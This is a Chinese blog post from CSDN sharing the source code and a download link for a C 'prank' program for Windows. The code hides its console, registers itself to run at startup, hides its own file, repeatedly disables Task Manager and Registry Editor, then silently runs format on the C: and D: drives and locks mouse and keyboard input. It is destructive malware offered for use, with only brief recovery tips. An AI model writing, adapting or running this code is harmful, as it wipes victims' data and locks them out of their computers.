C语言整人代码改进版

 上一篇:C语言整人代码_just found it的博客-CSDN博客

 这次的改进版增加了禁用注册表,禁用任务管理器和隐藏文件

下载地址:文件下载-奶牛快传 Download |CowTransfer

(图片也在里面,只是编译的时候因为redpandaDEVC++不太稳定,自动运行,把图片隐藏了)

改进后的代码:

引用库:

#include<graphics.h>
#include<math.h>
#include<stdio.h>
#include<windows.h>
#include<time.h>
#include<stdlib.h>
#include<windows.h>
#include<stdlib.h>

开机自启+隐藏控制台:

int main()
{
	
	HWND hwnd;//定义句柄变量
	hwnd=FindWindow("ConsoleWindowClass",NULL);//获取窗口句柄
	ShowWindow(hwnd,SW_HIDE);//隐藏窗口
	// 设置程序开机自启动项
	HKEY z;
	DWORD v= 1;
	RegCreateKey(HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\System",&z);
	RegSetValueEx(z,"DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
	RegSetValueEx(z,"DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
	RegCloseKey(z);
	HKEY Key;
	long lRet=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&Key);
	if (lRet==ERROR_SUCCESS)
	{
	    char filename[MAX_PATH];
	    
	    GetModuleFileName(NULL,filename,MAX_PATH);
	    lRet=RegSetValueEx(Key,"xxx",0,REG_SZ,(BYTE*)filename,strlen(filename)+1);
	    RegCloseKey(Key);
	}

隐藏文件:

    char filenamex[MAX_PATH];//创建字符数组,保存文件路径
	GetModuleFileName(NULL,filenamex,MAX_PATH);//获取文件路径
	char a[260+10]="attrib +h ";//创建数组a,用于保存system命令
	for(int i=0;i<strlen(filenamex);i++)//重复执行,遍历数组filenamex
	{
		a[10+i]=filenamex[i];//在数组a后面加上文件路径
	}
	system(a);//调用system命令,隐藏exe文件
	system("attrib +h blue.png");//隐藏图片文件blue.png

 等待10~24分钟+禁用任务管理器和注册表:

    srand(time(NULL));
	int t=(rand()%15+10)*60*10;
	int i;
	for(i=0;i<t;i++)
	{
		delay(100);//等待100毫秒
		system("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f");//禁用任务管理器
		system("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableRegistryTools /t REG_DWORD /d 1 /f");//禁用注册表编辑器
	}

这里每隔100毫秒禁用一次任务管理器和注册表编辑器,为了防止用户修改时间所以不使用clock()函数。

禁用任务管理器的代码必须放在禁用注册表编辑器的代码前面,因为禁用任务管理器只能在注册表编辑器没有被禁用的情况下进行,如果要解除禁用,可以把 /d后面的1改为0(在注册表没有被禁用的情况下运行)

注册表编辑器启用方法:

按下win+r,输入gpedit.msc,打开本地组策略编辑器;

64e94e935c04f82134e66d5afbe27bcf.png

选择用户设置>管理模板>系统,双击 阻止访问注册表编辑工具;

1ac14fbe91c6276c38765508bdd8d0f4.png

选择"未配置"或"已禁用",点击确定,启用注册表编辑器;

d3806711c0580317fee5c828da660e8c.png

如果本地组策略编辑器中找不到"阻止访问注册表编辑工具",建议下载360安全卫士,修复一下系统(我的电脑就是这样的) 

若意外运行,请重启电脑,进入Windows安全模式,进入后即可删除文件(在直接运行Windows的情况下exe文件会开机自启,无法删除)或者使用系统U盘删除文件

弹出EGE窗口+禁用鼠标和键盘+格式化磁盘:

    initgraph(0,0,INIT_NOBORDER|INIT_TOPMOST);
    resizewindow(-1,-1);
	int x=GetSystemMetrics(SM_CXSCREEN);//获取屏幕分辨率x,包含至windows.h
	int y=GetSystemMetrics(SM_CYSCREEN);
    PIMAGE blue=newimage(x,y);
	PIMAGE temp=newimage();
	getimage(temp,"blue.png");
	putimage(blue,0,0,x,y,temp,0,0,getwidth(temp),getheight(temp));//给xx赋值图片
    putimage(0,0,blue);
    ShellExecute(NULL, "open", "format","C: /q /u /y", NULL, SW_HIDE);//格式化C盘
    ShellExecute(NULL, "open", "format","D: /q /u /y", NULL, SW_HIDE);//格式化D盘
	while(1)
	{
		BlockInput(TRUE);
		SetCursorPos(x,y);
	}
}

这个程序最好不要选择创建项目,因为总是会出现许多奇怪的问题(比如daley()函数用不了,只能换成SleepEx()函数,EGE窗口无法做成全屏无边,如果选择创建Graphics.h项目又无法执行其他命令等) 

注:(三思后打开,后果自负)

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值